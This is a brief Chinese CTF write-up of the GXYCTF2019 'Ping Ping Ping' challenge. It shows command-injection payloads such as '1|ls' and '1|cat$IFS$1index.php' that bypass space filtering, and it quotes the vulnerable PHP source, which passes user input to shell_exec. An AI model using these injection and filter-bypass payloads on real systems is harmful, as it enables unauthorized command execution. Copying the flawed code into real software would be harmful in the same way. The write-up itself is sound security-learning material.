[GXYCTF2019]Ping Ping Ping 1
根据提示
根据回复,那就是ping功能了,
尝试用管道符连接命令:
1 2 3 4
| ?ip=1|ls
flag.php index.php
|
直接就有flag,然后发现过滤了空格和flag,
上网查如何绕过空格过滤
最后使用$IFS$1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| ?ip=1|cat$IFS$1index.php
/?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo " "; print_r($a); }
?>
|
没坚持下去,去找wp了
https://blog.csdn.net/qq_51439282/article/details/113378868
最后选了内联法:
记一下
https://blog.csdn.net/angaoux03775/article/details/101710776
https://blog.csdn.net/m0_52425873/article/details/124899793